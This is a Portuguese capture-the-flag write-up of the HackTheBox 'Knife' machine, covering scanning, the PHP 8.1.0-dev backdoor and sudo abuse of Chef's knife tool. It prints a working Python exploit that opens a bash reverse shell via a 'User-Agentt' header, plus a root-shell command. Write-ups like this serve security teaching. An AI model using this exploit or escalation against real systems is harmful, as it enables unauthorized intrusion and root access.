Knife Cover

Neste ‘writeup’ veremos a resolução da máquina ‘Knife’ do HackTheBox.

Informações da Máquina

IP: 10.10.10.242

Sistema Operacional: Linux

Nível de dificuldade: Easy

Varredura e Enumeração

Port Scan

Duas portas abertas foram descobertas com o Nmap: 22 e 80. Abaixo o resultado do Nmap executando o scan com os scripts padrão.

# Nmap 7.91 scan initiated Mon Jun 21 18:20:19 2021 as: nmap -v -sC -sV -p 22,80 -Pn -oN details.txt 10.10.10.242
Nmap scan report for 10.10.10.242
Host is up (0.26s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
|   256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e🆎22:0e:c0:ee (ECDSA)
|_  256 1a🇩🇪a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title:  Emergent Medical Idea
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jun 21 18:20:41 2021 -- 1 IP address (1 host up) scanned in 22.53 seconds

Webserver

O resultado do comando Nmap mostra a porta 80 aberta e ao acessar o ip da máquina é possível visualizar uma página html.

Página Inicial

Para acessar o site pelo seu domínio e não pelo seu ip basta inserir a linha correspondente ao arquivo /etc/hosts.

10.10.10.242  knife.htb

O site poderá ser acessado pela seguinte URL.

http://knife.htb

Ao examinar o código fonte da página nada foi encontrado. A enumeração de diretórios e arquivos também não mostrou nada relevante exposto pelo servidor, além da página principal. Isto indica que a vulnerabilidade pode estar em alguma tecnologia presente que não foi atualizada. Neste caso é necessário verificar a versão do que está sendo utilizado no host. Para esta tarefa foi utilizado o ‘whatweb’.

Whatweb
http://10.10.10.242 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ],
HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)],
IP[10.10.10.242], PHP[8.1.0-dev], Script,
Title[Emergent Medical Idea], X-Powered-By[PHP/8.1.0-dev]

A saída do comando mostra que o servidor roda um Apache/2.4.41 e a linguagem de programação utilizada é o PHP 8.1.0-dev.

Vulnerabilidade

Buscando por vulnerabilidade nesta versão de PHP foi possível encontrar um exploit disponível no ExploitDB.

Whatweb

Exploração

O exploit consiste em um script python que envia um ‘User-Agentt’ alterado, permitindo a execução de um RCE (Remote Code Execution) no host. Com o exploit é possível obter um shell interativo.

Exploit

Listando o diretório ‘home’ do usuário james:

Home

Apesar de ser útil para obter mais informações do host e inclusive a ‘flag’ do user.txt na ‘home’ do usuário james, a alteração do script para obter um ‘reverse shell’ é o ideal. A linha do “User-Agentt” foi alterada, removendo o “cmd” como payload e colocando em seu lugar uma conexão reversa em bash passando como parâmetro o ip e porta da máquina local do atacante.

#!/usr/bin/env python3
import os
import re
import requests

host = input("Enter the full host url (http://host/): ")
ip = input("Local IP: ")
port = input("Local Port: ")
request = requests.Session()
response = request.get(host)

if str(response) == '<Response [200]>':
    try:
        headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
        "User-Agentt": "zerodiumsystem('/bin/bash -c \"bash -i >&/dev/tcp/{}/{} 0>&1\"');".format(ip,port)
        }
        response = request.get(host, headers = headers, allow_redirects = False)
    except (KeyboardInterrupt):
        print("Exiting...")
        exit

else:
    print("\r")
    print(response)
    print("Host is not available, aborting...")
    exit

Após executar o script informando o ip do host e o ip e porta da máquina local obtemos um ‘reverse shell’.

Reverse Shell

Obtendo a flag do user.txt:

James flag

Enumerando internamente o diretório /var/www/html apenas uma página index.html foi encontrada. Porém no diretório /opt podemos encontrar outros dois diretórios que pertencem a um software de terceiros (chef-workstation e opscode). Inclusive na ‘home’ do usuário é possível verificar a existência do diretório oculto “.chef” com um arquivo “credentials”.

Chef

Buscando por ‘chef’ encontramos mais informações sobre este software na página do desenvolvedor.

Chef é uma empresa de automação. Desde sua fundação em 2008, reunimos
desenvolvedores e administradores de sistema com nosso produto homônimo, Chef Infra.
Com o passar dos anos, o que entendemos por automação se expandiu.
Hoje, o Chef tem uma solução de automação completa para infraestrutura
e aplicativos que o leva desde o desenvolvimento até a produção.

Como se trata de um software de automação o mais provável é que o usuário james possa executar algum binário ou script com permissões de root e assim será possível escalar privilégio na máquina.

Escalação de Privilégios

O primeiro passo é saber se o usuário james está incluído no ‘sudoers’ e se possui alguma permissão específica para executar algum script ou binário.

Sudo

A saída do comando mostra que o arquivo /usr/bin/knife pode ser executado pelo usuário james com permissão de root e sem a necessidade de informar a senha do usuário.

Com o comando ‘file’ descobrimos que o arquivo ‘knife’ é na realidade um link simbólico para outro de mesmo nome dentro do diretório ‘chef-workstation’.

File

Portanto, o ‘knife’ é um utilitário de automação do ‘chef-workstation’ e para descobrir como usá-lo para escalar privilégio é necessário pesquisar no site do desenvolvedor.

Knife

O parâmetro que permite a execução de scripts ruby ou algum comando do sistema é o exec.

Knife Exec

Pode ser visualizado também ao executar o arquivo e buscar no seu menú de opções:

Knife Menú

Este é o comando utilizado para obter root:

sudo knife exec --exec "exec '/bin/bash -i'"
Root

Obtendo a flag do root:

Root Flag

Neste ‘writeup’ foi demonstrado como invadir a máquina ‘knife’ através da exploração de um software desatualizado (PHP) no servidor. Logo em seguida, com uma enumeração básica na máquina, foi descoberto que o usuário ‘james’ pode executar um script (knife) com permissões de root, bastando que o ‘script’ seja executado com o ‘sudo’ e sem o uso de senha do usuário, o que é considerado uma falha de segurança.

Até a próxima!